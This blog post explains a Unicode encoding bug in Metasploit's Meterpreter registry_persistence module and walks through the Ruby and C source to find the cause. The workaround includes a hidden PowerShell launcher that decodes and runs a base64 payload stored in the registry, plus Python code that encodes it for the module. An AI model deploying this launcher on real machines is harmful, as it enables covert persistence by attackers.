Meterpreter, registry & unicode quirk work around

So this is a quick post with hopefully the goal of saving somebody else some time. Just for the record, I could have missed something totally trivial and I will hopefully get corrected :)

When working with the registry_persistence module, it turns out that one of the registry entries turns into garbage. At first I blamed myself of course, but it turned out that this could probably be a bug in the meterpreter code of which I’m not sure if it really is a bug or if there is a new API call which I haven’t found yet. So when executing the module the registry looks like this:


Like you can see that’s not exactly how it really should look like, since what we are expecting is something more human readable and an actual powershell command.

The quick work around is to generate the correct string with the correct encoding and for me it was easier to do this with python:

a = "%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c \"sleep 1; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKCU:myregkey_name').GetValue('myregkey_value'))))\""
b = '\\x'.join("{:02x}".format(ord(c)) for c in a.encode('UTF-16LE'))
print '\\x' + b

You can then just hard code the output string into the module (replace the original ‘cmd=’ string with your hex encoded one like cmd=”\x25\x00″ etc) and it should appear correctly in your registry. Following screenshot shows before and after:


If you are curious how you could debug similar bugs yourself, keep on reading for a short tour of the problem solving part. If you are wondering why I don’t submit a PR to metasploit, that’s cause unicode scares the **** out of me. My usual experience is I generate more problems when dealing with unicode than I intended to fix.

Debugging is of course a different process for each person, but one of the ways to learn is to read how other people debug stuff which made me decide to share more of these ‘brain dumps’ in the future.

So a couple of things I tried when I first saw the garbled registry entry, not necessarily in the same chronological order:

  • Run meterpreter on other instances of Windows
  • Check the Windows encoding
  • Read the module source code
  • Edit the module source code to just set one word
  • Lookup the documentation for REG_EXPAND_SZ
    • A null-terminated string that contains unexpanded references to environment variables (for example, “%PATH%”). It will be a Unicode or ANSI string depending on whether you use the Unicode or ANSI functions. To expand the environment variable references, use the ExpandEnvironmentStrings function.
  • Check how the string is actually written into the registry by right clicking and choosing “Modify binary data”
    • Written as ascii
  • Writing a test string to the same registry key with ‘regedit.exe’ and checking how that string is written
    • Surprise it’s UTF16LE, the null bytes after each character gave it away
    • Which explain why it looks so weird, since Windows is trying to display / interpret ‘ascii’ as UTF16LE

So after doing all of the above I realized that our string was passed as ascii to the API and it probably got written to the registry by using a unicode function. Time to dig into the src:

  • First thing I searched for in the metasploit repo was:
    • “def registry_setvaldata”
  • Which brings us to the file and function:
  • Which we can find in the same file
    •  Line 588 shows “session.sys.registry.set_value_direct(root_key, base_key,”
  • Searching for “set_value_direct” brings us to
    • lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb
    • Line 231 contains the function and the “TLV” strings give away that this is the part where the command is send to meterpreter. TLV (type, length, value) is the protocol that meterpreter uses.
    • Line 232 contains the funtion we need to search for in the meterpreter git repo
      • stdapi_registry_set_value_direct
  • Which brings us to c/meterpreter/source/extensions/stdapi/server/sys/registry/registry.c
    • Line 508 contains the next function “set_value” we search for
    • Line 440 contains the actual implementation

The important lines of code and the ones on which I based my conclusion of converting the string to UTF16LE are the following (lines 456 – 473):

	// Get the value data TLV
	if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &valueData) != ERROR_SUCCESS) {
	} else {
		// Now let's rock this shit!
		void *buf;
		size_t len = valueData.header.length;
		if (valueType == REG_SZ) {
			buf = utf8_to_wchar(valueData.buffer);
			len = (wcslen(buf) + 1) * sizeof(wchar_t);
		} else {
			buf = valueData.buffer;
		result = RegSetValueExW(hkey, valueName, 0, valueType, buf, (DWORD)len);
		if (buf != valueData.buffer) {

The above code retrieves the value we are setting from the TLV packet and then check if the valueType is of the kind “REG_SZ”, which triggers a conversion of the data from UTF8 to Windows wide char (in esssence UTF16LE). If this is not the case then the original data from the packet is NOT converted. However the function used to write the value is always “RegSetValueExW”, which is the unicode variant and thus will always write the content as if it was passed in the correct UTF16LE encoding.

Thus leading to the conclusion that since our registry key type does not fit the ‘conversion’ case and it’s content is directly written by a unicode aware function, we need to pass in the data in the correct format.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.

%d bloggers like this: